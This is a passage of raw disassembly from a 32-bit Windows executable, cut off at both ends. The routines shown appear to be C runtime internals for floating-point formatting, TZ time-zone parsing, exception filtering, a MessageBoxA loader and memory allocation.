mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC78 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC90 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB470 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB498, eax add esp, 18h movsx eax, byte_4DB472 mov dword_4DB490, eax pop edi movsx eax, word_4DB470 mov dword_4DB494, eax mov dword_4DB49C, offset dword_4DB474 mov eax, offset dword_4DB490 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8B8o ; ___:0043D118o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4A0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4A0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1DB8A3E8h], dl add ah, byte ptr dword_4DB4A0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4A035h, 0B892E800h, 0C390021Dh ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 25F0ADAh nop test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2880959h test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25F0A8Ah test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB560, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB560 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4A8, ebp mov dword_43CD50, ebx mov dword_43CD40, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4B0 call near ptr 2840000h nop cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4B0 mov ecx, dword_4DB504 imul eax, 3Ch cmp word_4DB4F6, bp push 1 pop edx mov dword_43CCA8, eax mov dword_4DB4A8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCA8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB54A, bp jz short loc_424887 mov eax, dword_4DB558 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCAC, edx imul eax, 3Ch mov dword_43CCB0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCAC, ebp mov dword_43CCB0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD34 push ebx push offset dword_4DB4B4 push edi push dword_4DB344 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD34 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD34 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD38 push ebx push offset dword_4DB508 push edi push dword_4DB344 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD38 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB55C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB55C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB55C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD34 call sub_41B5F0 mov eax, off_43CD34 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCA8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCA8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCAC, eax jz short loc_424A3C push 3 push esi push off_43CD38 call sub_41B5F0 mov eax, off_43CD38 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD38 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCAC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD40 jnz short loc_424A7C cmp eax, dword_43CD50 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4A8, edi jz loc_424B54 movzx ecx, word_4DB556 push ecx cmp word_4DB548, di movzx ecx, word_4DB554 push ecx movzx ecx, word_4DB552 push ecx movzx ecx, word_4DB550 push ecx jnz short loc_424ACE movzx ecx, word_4DB54C push edi push ecx movzx ecx, word_4DB54E push ecx movzx ecx, word_4DB54A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB54E push ecx push edi movzx ecx, word_4DB54A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB502 add esp, 2Ch cmp word_4DB4F4, di push eax movzx eax, word_4DB500 push eax movzx eax, word_4DB4FE push eax movzx eax, word_4DB4FC push eax jnz short loc_424B3C movzx eax, word_4DB4F8 push edi push eax movzx eax, word_4DB4FA push eax movzx eax, word_4DB4F6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB4FA push eax push edi movzx eax, word_4DB4F6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD44 mov eax, dword_43CD54 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD48 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD58 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD58[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CD8C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD5C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CD90[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD58[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CD8C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD44, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD40, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD48, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD54, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCB0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD58, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD58, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD58, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD54, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD50, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC7E1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C302[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB564, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" call near ptr 2690AC8h nop mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB564, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB568, eax call esi mov dword_4DB56C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB568 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB56C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB564 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC900 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C2F4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC904 nop call near ptr 2790000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: sub_424E01+26j cmp dword_4DB2FC, 0 jz short loc_424EA5 push esi call sub_41F312 test eax, eax pop ecx jz short loc_424EAE jmp short loc_424E22 ; --------------------------------------------------------------------------- loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov 